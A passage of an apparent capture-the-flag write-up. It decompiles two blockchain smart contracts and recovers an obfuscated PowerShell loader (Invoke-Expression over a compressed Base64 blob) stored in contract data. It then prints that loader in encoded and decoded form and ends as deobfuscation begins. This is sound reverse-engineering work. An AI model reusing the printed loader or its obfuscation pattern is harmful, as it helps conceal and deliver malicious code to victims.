            if (bytes1(v0[1] >> 248 << 248) == 0x6900000000000000000000000000000000000000000000000000000000000000) {

The first byte of the string needs to be 0x67 (‘g’) and the second byte needs to be 0x69 (‘i’). Presumably we need to pass all the checks to get the correct result. Putting all the characters from the conditions together, we get that the string should spell “giV3_M3_p4yL04d!”, and then one extra character at the end since the length of the string needs to be 17, as per this condition:

1
if (v0.length == 17) {

Instead of passing this string to the contract, we can just look at what happens if all the conditions are passed:

1
2
3
4
5
6
v2 = v3.data;
v4 = bytes20(0x5324eab94b236d4d1456edc574363b113cebf09d000000000000000000000000);
if (v3.length < 20) {
    v4 = v5 = bytes20(v4);
}
v6 = v7 = v4 >> 96;

At the end of the function, the following code is executed:

1
2
MEM[MEM[64]] = address(v6);
return address(v6);

If so, the correct address is v4 >> 96, or 0x5324eab94b236d4d1456edc574363b113cebf09d. Looking up this address in the Binance Testnet yields the following result. Recall that after the first call to the contract we’ve just reverse engineered, the JS code does the following call:

1
2
3
4
5
6
7
const new_methodId = "0x5c880fcb";
const blockNumber = 43152014;
const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
const newData = await web3.eth.call({
    to: contractAddress,
    data: newEncodedData
}, blockNumber);

The variable contractAddress holds the address of the first contract, which is quite strange, since according to the decompilation it doesn’t have a method with id 0x5c880fcb (we can see this in the function selector). If so, the contract that should be called is the second one, i.e. 0x5324eab94b236d4d1456edc574363b113cebf09d. I don’t know if this was intended or is a mistake :) Our next step, therefore, is to reverse the new contract. We can get the EVM bytecode in the same way as before. Decompiling it with Dedaub presents us with the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
// Decompiled by library.dedaub.com
// 2024.09.28 13:35 UTC
// Compiled using the solidity compiler version 0.8.26

// Data structures and variables inferred from the use of storage instructions
//uint256[] array_0; constant // STORAGE[0x0]

// https://testnet.bscscan.com/address/0x5324eab94b236d4d1456edc574363b113cebf09d

function func_0x14a(bytes varg0) private { 
    require(msg.sender == address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d), Error('Only the owner can call this function.'));
    require(varg0.length <= uint64.max, Panic(65));

    v0 = func_0x483(array_0.length);
    if (v0 > 31) {
        v1 = v2 = array_0.data;
        v1 = v3 = v2 + (varg0.length + 31 >> 5);
        while (v1 < v2 + (v0 + 31 >> 5)) {
            STORAGE[v1] = STORAGE[v1] & 0x0 | uint256(0);
            v1 = v1 + 1;
        }
    }
    v4 = v5 = 32;
    if (varg0.length > 31 == 1) {
        v6 = array_0.data;
        v7 = v8 = 0;
        while (v7 < varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) {
            STORAGE[v6] = MEM[varg0 + v4];
            v6 = v6 + 1;
            v4 = v4 + 32;
            v7 = v7 + 32;
        }
        if (varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 < varg0.length) {
            STORAGE[v6] = MEM[varg0 + v4] & ~(uint256.max >> ((varg0.length & 0x1f) << 3));
        }
        array_0.length = (varg0.length << 1) + 1;
    } else {
        v9 = v10 = 0;
        if (varg0.length) {
            v9 = MEM[varg0.data];
        }
        array_0.length = v9 & ~(uint256.max >> (varg0.length << 3)) | varg0.length << 1;
    }
    return ;
}

function fallback() public payable { 
    revert();
}

function func_0x5c880fcb() public payable { 
    v0 = 0x483(array_0.length);
    v1 = new bytes[](v0);
    v2 = v3 = v1.data;
    v4 = 0x483(array_0.length);
    if (v4) {
        if (31 < v4) {
            v5 = v6 = array_0.data;
            do {
                MEM[v2] = STORAGE[v5];
                v5 += 1;
                v2 += 32;
            } while (v3 + v4 <= v2);
        } else {
            MEM[v3] = array_0.length >> 8 << 8;
        }
    }
    v7 = new bytes[](v1.length);
    MCOPY(v7.data, v1.data, v1.length);
    v7[v1.length] = 0;
    return v7;
}

function func_0x483(uint256 varg0) private { 
    v0 = v1 = varg0 >> 1;
    if (!(varg0 & 0x1)) {
        v0 = v2 = v1 & 0x7f;
    }
    require((varg0 & 0x1) - (v0 < 32), Panic(34)); // access to incorrectly encoded storage byte array
    return v0;
}

function owner() public payable { 
    return address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d);
}

function func_0x916ed24b(bytes varg0) public payable { 
    require(4 + (msg.data.length - 4) - 4 >= 32);
    require(varg0 <= uint64.max);
    require(4 + varg0 + 31 < 4 + (msg.data.length - 4));
    require(varg0.length <= uint64.max, Panic(65));
    v0 = new bytes[](varg0.length);
    require(!((v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); 
    require(varg0.data + varg0.length <= 4 + (msg.data.length - 4));
    CALLDATACOPY(v0.data, varg0.data, varg0.length);
    v0[varg0.length] = 0;
    func_0x14a(v0);
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__() private { 
    MEM[64] = 128;
    require(!msg.value);
    if (msg.data.length >= 4) {
        if (0x5c880fcb == msg.data[0] >> 224) {
            func_0x5c880fcb();
        } else if (0x8da5cb5b == msg.data[0] >> 224) {
            owner();
        } else if (0x916ed24b == msg.data[0] >> 224) {
            func_0x916ed24b();
        }
    }
    fallback();
}

Unlike the previous one, this contract supports 3 different functions: func_0x5c880fcb (this is the method that is called in the JS code), owner (returns the owner of the contract), and func_0x916ed24b(). Let’s start with the function called by the JS code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function func_0x5c880fcb() public payable { 
    v0 = 0x483(array_0.length);
    v1 = new bytes[](v0);
    v2 = v3 = v1.data;
    v4 = 0x483(array_0.length);
    if (v4) {
        if (31 < v4) {
            v5 = v6 = array_0.data;
            do {
                MEM[v2] = STORAGE[v5];
                v5 += 1;
                v2 += 32;
            } while (v3 + v4 <= v2);
        } else {
            MEM[v3] = array_0.length >> 8 << 8;
        }
    }
    v7 = new bytes[](v1.length);
    MCOPY(v7.data, v1.data, v1.length);
    v7[v1.length] = 0;
    return v7;
}

Ethereum contracts have two types of memory:

  • MEM, which is an array used to store temporary data

  • STORAGE, which is a decentralized storage used to store data permenantly on the blockchain At a high level, this function copies some data from v1, which is a byte array, into v7, and returns it. The v1 array is defined by calling the function 0x483 on array_0, which is a global array defined using the STORAGE, and then converting the result to byte array. In other words, this function is a sort of read from the contract’s storage. let’s analyze the other method:

1
2
3
4
5
6
7
8
9
10
11
12
function func_0x916ed24b(bytes varg0) public payable { 
    require(4 + (msg.data.length - 4) - 4 >= 32);
    require(varg0 <= uint64.max);
    require(4 + varg0 + 31 < 4 + (msg.data.length - 4));
    require(varg0.length <= uint64.max, Panic(65));
    v0 = new bytes[](varg0.length);
    require(!((v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); 
    require(varg0.data + varg0.length <= 4 + (msg.data.length - 4));
    CALLDATACOPY(v0.data, varg0.data, varg0.length);
    v0[varg0.length] = 0;
    func_0x14a(v0);
}

Skipping past all the assertations (require), this function copies its argument into the array v0, and then calls func_0x14a on v0. This function, func_0x14a asserts that the caller of the function is the owner of the contract, and then writes the data passed in its argument into the contract’s storage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function func_0x14a(bytes varg0) private { 
    require(msg.sender == address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d), Error('Only the owner can call this function.'));
    require(varg0.length <= uint64.max, Panic(65));

    v0 = func_0x483(array_0.length);
    if (v0 > 31) {
        v1 = v2 = array_0.data;
        v1 = v3 = v2 + (varg0.length + 31 >> 5);
        while (v1 < v2 + (v0 + 31 >> 5)) {
            STORAGE[v1] = STORAGE[v1] & 0x0 | uint256(0);
            v1 = v1 + 1;
        }
    }
    v4 = v5 = 32;
    if (varg0.length > 31 == 1) {
        v6 = array_0.data;
        v7 = v8 = 0;
        while (v7 < varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) {
            STORAGE[v6] = MEM[varg0 + v4];
            v6 = v6 + 1;
            v4 = v4 + 32;
            v7 = v7 + 32;
        }
        if (varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 < varg0.length) {
            STORAGE[v6] = MEM[varg0 + v4] & ~(uint256.max >> ((varg0.length & 0x1f) << 3));
        }
        array_0.length = (varg0.length << 1) + 1;
    } else {
        v9 = v10 = 0;
        if (varg0.length) {
            v9 = MEM[varg0.data];
        }
        array_0.length = v9 & ~(uint256.max >> (varg0.length << 3)) | varg0.length << 1;
    }
    return ;
}

This method writes its argument into the STORAGE (the decentralized memory). In other words, it’s a write. We can therefore conclude that the second call in the JS reads the data from the contract’s storage at some point in time (since the contents of the storage changes at each write) using the method func_0x5c880fcb, and saves it to a file. To see what this data is, we can go into the transactions tab on the second contract in the BInance explorer:

second_contract_transactions.png

Let’s analyze the latest transaction. In the more details tab, we can see the exact data that was passed in the call:

1
0x916ed24b00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000e34615735325430746c4c57565963464a4663314e4a623234674b45356c56793150516b706c5133516755336c7a644556744c6b6c764c6c4e30556d566854564a465157526c5569676f546d56584c553943536d56446443424a6279354454303151556b565463306c506269356b5a575a735156526c633352795a5746744b43426263316c545647564e4c6b6c764c6d316c6255395365564e30556b56685456306757324e50546e5a46636e52644f6a706d556b3974596b467a52545930553352796155356e4b436471566d52795979744d523056324d3039794e57704c536d686b6346465464314e426258685462474a7957565976576e6b335646563153553031645574486345787054556458526e6c54566b354961486844554467356344426c616b497251327330636b747262566f33645731594e6d4d32567a51774e316c6b5a44597a655338324f576f3357474a314e7a4d35626e51765954646965454a6e4d456c755a6a4a504f4868684e573431626a52586247704552584669534778426333704e5246563457584a6b64326870636c6f79524564565a32526d527a463061586852553068715679744d576b684751304d77633231496148424463554579645552794e48517264456c344b303576613270594f576c3357575a5662314a5859324631546b6c464c33557a63306455553064486332314c5656707161555a715a33517a516d64744e7a646e54544274527a56785556526c526e465a567a56444d564e42626e6474523146354d474a4255466452547a4a4f6347786e4e3167346432787865445a505a54646d6145593563553435566a5a6b59334e595a553472656d6854553056594f456c7564315134576d4a4352334650565446476432746a52793934595374435155354f57544e35656d4e6f4f45314761565534576d353664444e6f625531794b3246315344524e6279744d61576c744b7a63355a6e5a435348513562586334547a646f4f47464a4e454e4b55473533556a6c78655449335a45705154454e344e6e4d7264546472597a4e734e6e64506232354e646c6459656a644e65484a694e58524c4d476859645764776156564a53566c4b56477777637a4e4b646b3956636b644651576b724d585a7763314e4b566d303363314a31556b644b4e315a35646c637264326469526c526959545a474b334e33646d7478565552435a585a6a4b336c74554646614b30784e59554e4c4c306f784e4374346354687464585a4f6430356b61314a6861455a365a30357a597a465a536d38774d555934626e4a6c53334634596b737656553079636d30724d546454526a5a30546a64705a455a514d307459596d6c5662456853555642575445553355455673566d685357576b3161546c435a555275546e5a574b334e54625773325155745a536d52344d6b68574b33646b5754457265456778633246715355706f5a6d55304d5752345a336376526c5979564568714f4756554e444275616e70595357566161303948517974454d6b597864455230626c6c78574564484c316457536d7033536e4230556d633365584933513352514d544a61546a5245554768305a7a46544e4756505747593254586c6d62556b7655485246655574334b7a4e6a5355387a5356684f61456c7164564a7a5455464253306468596e4a55576b73305233424e516c4e42627a6c4961326c4656486478564449336257784b4e5552695669395454336c6c63545a345a584a425933704255584e5464564e5153334a4b5a6b524f5432526b656e6c4b4e6b78545455315564544e7356465249537a6b765a5373725455643263445668656d4a785a69395462584d726447644e536e464e63444e594f544e464e4842305a5459315232705555444272526b7079534531704d58553063574a796458524362474a555545704852476861566b5930537a64596231566a4b304e7253325a76516a463053466859556b7471636d637264576c31624849344c7938305969387a6356644c4e58465063693947546d4572575656774f5539616548637857544e4956465a6163335a45536a5134656a6433516c70795230457a626d74585545706d4c3270744d453549526b4e314f55643654325a79656c597a576c513154564d76516d6c4b546e4e304e4868576432566a62304e775245396e5255786b4d4556444b3235554d45593457445257656d6c466230314d5a7a68464b314e6e63325a5a5448423355466734624374525333567a564652506231644355556b336445315255484635516b5135655552324e4670595745686861556849554668565654684f62476331656e5a74526b4530513364314f456c4752457461536d78315158564555316c44554452335630466d4f48466c53554a6a536a426f534641764e56597262484e724e47497a63464e705a3163354d54426f54585a4f4e6d4e6a57454a344d6d4a3551584a53656b7733526d46786246524c536e6c7353335a6e5154644d635670315a33424955573135567a644954564a6e6343394e6248707754316c444f455a595245786d5a6d6b33547a42464d4656694f576c554f446335536d683362693877526a464a556e5254654856445433517753576f33576a52535a32464d51533879567a566b63545a354b304a534d30784364477475536d63724e43396d643235595a6b70536443394c4e564e3356474a5452573575636a524e525468464d48424e57464e725257744c53476873656c4e61576d78735656646e556b3971566a457a544556796430525953555245563077764b33564f613056304e336c4b5646517662334a514c3168614d7939305548527a5546673562475532596c6833545442334d47564355316c36516e6851616b55324f4846565a6b5176636e70584e6d4e59574852485a5578496444426a543351775a5763325445355161474d7255455a324e7a564551336c45516a5a73546e4a4264325a4e614768424e5552555931464e56544a5855457454536a4a51636e64304e574a435531424c626a5a7752454e4f536b4a526432777756323559527a4e355457355053303534543246615747525961476c75656b3578516b4a3355454a524b306f304f476c5a536d7835536b785a5a486c50634539474d584e7763456869626b39446144553056325a7262326733565464306457526c6346646c4d6c6b345248646a52553975537a4a43623252734d335a56626d5a464d6b396c5a5770495a6e593561586859646b527757464631557a4e7462474d7952324a3463574a715532563353444533554842355447777964484a4f5a5731745555393352564631536d565055445a484f565a4b5357784e4e6e6c4557467034626e5a7652336854566b467456484649616b7874546a6c5562456c484c324e7361586c6e62466c6a6146464d65466877596b633461465577576d78695a45355064585278596c42314d7a6875525339454e5756795469745561574d33635739714b306b7a556d524f59586444526e56744d6c70534f47316c5958564f6431464552453946656e5179616b4e4b574456785647396b55306c445231524d576b4e53643274614e6d7844576d686f634656725447396857556855635751335645786d6233565854306c354e6c4a354e476b7764484e334d544e7a515446504d53744451304a4f65484a4f4d30354d62544d315a6c426d4f457450564531724d7a42306256704551316c3555474e7a5a56704e4e6b3956616b39565546523052453169575464775a584279526e527455555572616c5a355a58686d566b3831564535514d55354c51585931546a523454577461576b4e565232467164455644566b73344d58687056555a6c62303579526c6848544451316245647364586831525339364b304a4e5756637a533039796455453452326879616d5636626e464856455a6d4f5746574d316c515755316d62565a4e516e4d324d6a6476616c42784d315a3461484a6857577842536e42434f5442595258464c534570424d5778705a444a78616b4673526a51795956705761303879616d4a6b54444a575345686c4f474a3556575a4c536d786861485234575577776355466b4e4546456158464553326b7861326c4a64464634613256464e6b56776332686c596e597a635651724e53394e616b6873526a45776256517762304a50616b73784e304e6a543352515930393061326c3253577853566d566e656e7070643035704e336873554846715a324661636a4e54543277786248417a616e683651303945546d7873623256726557564d53586842516e425655565a6a565641774d6b38354d574e305233467461314e4e5a574633595752494e5651784d334a4b536b4654546b3972566e523655324e76613342594f5570584b31704b55336b3165574e4a536e67726433425254307849616e52724d4459776246685861565a7759545268645445794d3239745630747662464e30536c4e544f565a78546a4a6f616a4a7a4d556b30596a4a6d647a5134516d6332576b706c4e6b38794c305655545535715a6a68544d3352494b325633616d56424e7a42364e4570524f55746f646b4e7452574e6f523363774c31597a567a6c4e574574704d6938326247387856314a6f53306778626a6c5655314e61596d523251556f3153446b7a556e4a49566d567952334e7763566432567a427253474a365a31704f4c315a71545578744d6b784a62326c555a6d6c355a6d684b64446c6d546b6b316457397a4c7a4a594f444277617a425554575a4c52486735625642454d4451345244686b54303550536b785164556f7a624446355a6d3979596b316864466851566d564e4e546c504b3346575a6a42324a7941704943776757326c504c6d4e766258425352564e545355394f4c6b4e766258425352584e54615739755457396b5a5630364f6d52465932394e55484a4663334d674b5341704943776757314e355533524662533555525668304c6b56755132396b5355356e58546f3659584e4453556b704b5335535a57464556453946546b516f4b513d3d000000000000000000000000

First of all, from of the first 4 bytes, we can see that this is a call to method 0x916ed24b, or the write method. If we examine at the UTF-8 version of the data, we see that the data itself (without the metadata, e.g. the method id) it is Base64-encoded:

1
aW52T0tlLWVYcFJFc1NJb24gKE5lVy1PQkplQ3QgU3lzdEVtLklvLlN0UmVhTVJFQWRlUigoTmVXLU9CSmVDdCBJby5DT01QUkVTc0lPbi5kZWZsQVRlc3RyZWFtKCBbc1lTVGVNLklvLm1lbU9SeVN0UkVhTV0gW2NPTnZFcnRdOjpmUk9tYkFzRTY0U3RyaU5nKCdqVmRyYytMR0V2M09yNWpLSmhkcFFTd1NBbXhTbGJyWVYvWnk3VFV1SU01dUtHcExpTUdXRnlTVk5IaHhDUDg5cDBlakIrQ2s0cktrbVo3dW1YNmM2VzQwN1lkZDYzeS82OWo3WGJ1NzM5bnQvYTdieEJnMEluZjJPOHhhNW41bjRXbGpERXFiSGxBc3pNRFV4WXJkd2hpcloyREdVZ2RmRzF0aXhRU0hqVytMWkhGQ0Mwc21IaHBDcUEydURyNHQrdEl4K05va2pYOWl3WWZVb1JXY2F1TklFL3Uzc0dUU0dHc21LVVpqaUZqZ3QzQmdtNzdnTTBtRzVxUVRlRnFZVzVDMVNBbndtR1F5MGJBUFdRTzJOcGxnN1g4d2xxeDZPZTdmaEY5cU45VjZkY3NYZU4remhTU0VYOElud1Q4WmJCR3FPVTFGd2tjRy94YStCQU5OWTN5emNoOE1GaVU4Wm56dDNobU1yK2F1SDRNbytMaWltKzc5ZnZCSHQ5bXc4TzdoOGFJNENKUG53UjlxeTI3ZEpQTEN4NnMrdTdrYzNsNndPb25NdldYejdNeHJiNXRLMGhYdWdwaVVJSVlKVGwwczNKdk9VckdFQWkrMXZwc1NKVm03c1J1UkdKN1Z5dlcrd2diRlRiYTZGK3N3dmtxVURCZXZjK3ltUFFaK0xNYUNLL0oxNCt4cThtdXZOd05ka1JhaEZ6Z05zYzFZSm8wMUY4bnJlS3F4YksvVU0ycm0rMTdTRjZ0TjdpZEZQM0tYYmlVbEhSUVBWTEU3UEVsVmhSWWk1aTlCZURuTnZWK3NTbWs2QUtZSmR4MkhWK3dkWTEreEgxc2FqSUpoZmU0MWR4Z3cvRlYyVEhqOGVUNDBuanpYSWVaa09HQytEMkYxdER0bllxWEdHL1dWSmp3SnB0Umc3eXI3Q3RQMTJaTjREUGh0ZzFTNGVPWGY2TXlmbUkvUHRFeUt3KzNjSU8zSVhOaElqdVJzTUFBS0dhYnJUWks0R3BNQlNBbzlIa2lFVHdxVDI3bWxKNURiVi9TT3llcTZ4ZXJBY3pBUXNTdVNQS3JKZkROT2RkenlKNkxTTU1UdTNsVFRISzkvZSsrTUd2cDVhemJxZi9TbXMrdGdNSnFNcDNYOTNFNHB0ZTY1R2pUUDBrRkpySE1pMXU0cWJydXRCbGJUUEpHRGhaVkY0SzdYb1VjK0NrS2ZvQjF0SFhYUktqcmcrdWl1bHI4Ly80Yi8zcVdLNXFPci9GTmErWVVwOU9aeHcxWTNIVFZac3ZESjQ4ejd3QlpyR0EzbmtXUEpmL2ptME5IRkN1OUd6T2ZyelYzWlQ1TVMvQmlKTnN0NHhWd2Vjb0NwRE9nRUxkMEVDK25UMEY4WDRWemlFb01MZzhFK1Nnc2ZZTHB3UFg4bCtRS3VzVFRPb1dCUUk3dE1RUHF5QkQ5eUR2NFpYWEhhaUhIUFhVVThObGc1enZtRkE0Q3d1OElGREtaSmx1QXVEU1lDUDR3V0FmOHFlSUJjSjBoSFAvNVYrbHNrNGIzcFNpZ1c5MTBoTXZONmNjWEJ4MmJ5QXJSekw3RmFxbFRLSnlsS3ZnQTdMcVp1Z3BIUW15VzdITVJncC9NbHpwT1lDOEZYRExmZmk3TzBFMFViOWlUODc5Smh3bi8wRjFJUnRTeHVDT3QwSWo3WjRSZ2FMQS8yVzVkcTZ5K0JSM0xCdGtuSmcrNC9md25YZkpSdC9LNVN3VGJTRW5ucjRNRThFMHBNWFNrRWtLSGhselNaWmxsVVdnUk9qVjEzTEVyd0RYSUREV0wvK3VOa0V0N3lKVFQvb3JQL1haMy90UHRzUFg5bGU2Ylh3TTB3MGVCU1l6QnhQakU2OHFVZkQvcnpXNmNYWHRHZUxIdDBjT3QwZWc2TE5QaGMrUEZ2NzVEQ3lEQjZsTnJBd2ZNaGhBNURUY1FNVTJXUEtTSjJQcnd0NWJCU1BLbjZwRENOSkJRd2wwV25YRzN5TW5PS054T2FaWGRYaGluek5xQkJ3UEJRK0o0OGlZSmx5SkxZZHlPcE9GMXNwcEhibk9DaDU0V2Zrb2g3VTd0dWRlcFdlMlk4RHdjRU9uSzJCb2RsM3ZVbmZFMk9lZWpIZnY5aXhYdkRwWFF1UzNtbGMyR2J4cWJqU2V3SDE3UHB5TGwydHJOZW1tUU93RVF1SmVPUDZHOVZKSWxNNnlEWFp4bnZvR3hTVkFtVHFIakxtTjlUbElHL2NsaXlnbFljaFFMeFhwYkc4aFUwWmxiZE5PdXRxYlB1MzhuRS9ENWVyTitUaWM3cW9qK0kzUmROYXdDRnVtMlpSOG1lYXVOd1FERE9FenQyakNKWDVxVG9kU0lDR1RMWkNSd2taNmxDWmhocFVrTG9hWUhUcWQ3VExmb3VXT0l5NlJ5NGkwdHN3MTNzQTFPMStDQ0JOeHJOM05MbTM1ZlBmOEtPVE1rMzB0bVpEQ1l5UGNzZVpNNk9Vak9VUFR0RE1iWTdwZXByRnRtUUUralZ5ZXhmVk81VE5QMU5LQXY1TjR4TWtaWkNVR2FqdEVDVks4MXhpVUZlb05yRlhHTDQ1bEdsdXh1RS96K0JNWVczS09ydUE4R2hyamV6bnFHVEZmOWFWM1lQWU1mbVZNQnM2MjdvalBxM1Z4aHJhWWxBSnBCOTBYRXFLSEpBMWxpZDJxakFsRjQyYVpWa08yamJkTDJWSEhlOGJ5VWZLSmxhaHR4WUwwcUFkNEFEaXFES2kxa2lJdFF4a2VFNkVwc2hlYnYzcVQrNS9NakhsRjEwbVQwb0JPaksxN0NjT3RQY090a2l2SWxSVmVnenppd05pN3hsUHFqZ2FacjNTT2wxbHAzanh6Q09ETmxsb2VreWVMSXhBQnBVUVZjVVAwMk85MWN0R3Fta1NNZWF3YWRINVQxM3JKSkFTTk9rVnR6U2Nva3BYOUpXK1pKU3k1eWNJSngrd3BRT0xIanRrMDYwbFhXaVZwYTRhdTEyM29tV0tvbFN0SlNTOVZxTjJoajJzMUk0YjJmdzQ4Qmc2WkplNk8yL0VUTU5qZjhTM3RIK2V3amVBNzB6NEpROUtodkNtRWNoR3cwL1YzVzlNWEtpMi82bG8xV1JoS0gxbjlVU1NaYmR2QUo1SDkzUnJIVmVyR3NwcVd2VzBrSGJ6Z1pOL1ZqTUxtMkxJb2lUZml5ZmhKdDlmTkk1dW9zLzJYODBwazBUTWZLRHg5bVBEMDQ4RDhkT05PSkxQdUozbDF5Zm9yYk1hdFhQVmVNNTlPK3FWZjB2JyApICwgW2lPLmNvbXBSRVNTSU9OLkNvbXBSRXNTaW9uTW9kZV06OmRFY29NUHJFc3MgKSApICwgW1N5U3RFbS5URVh0LkVuQ29kSU5nXTo6YXNDSUkpKS5SZWFEVE9FTkQoKQ==

Decoding this yields the following string:

1
2
(.venv) ➜  clearlyfake echo "..." | base64 -d
invOKe-eXpREsSIon (NeW-OBJeCt SystEm.Io.StReaMREAdeR((NeW-OBJeCt Io.COMPRESsIOn.deflATestream( [sYSTeM.Io.memORyStREaM] [cONvErt]::fROmbAsE64StriNg('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' ) , [iO.compRESSION.CompREsSionMode]::dEcoMPrEss ) ) , [SyStEm.TEXt.EnCodINg]::asCII)).ReaDTOEND()

Looks like we’ll have to do some powershell debofuscation! The obfuscation here has several stages, but isn’t very complicated, especially when when it’s done dynamically

Deobfuscating the payload

First Stage

First of all (this is something that’s common in Powershell obfuscation), Powershell doesn’t care whether functions are written in lowercase or uppercase. The Invoke-Expression (or invOKe-eXpREsSIon, as it’s written in the above payload) runs powershell code from a string, like the system function common in many programming languages. If we replace it with echo (which does the same thing as in bash), we can see the second stage of the payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
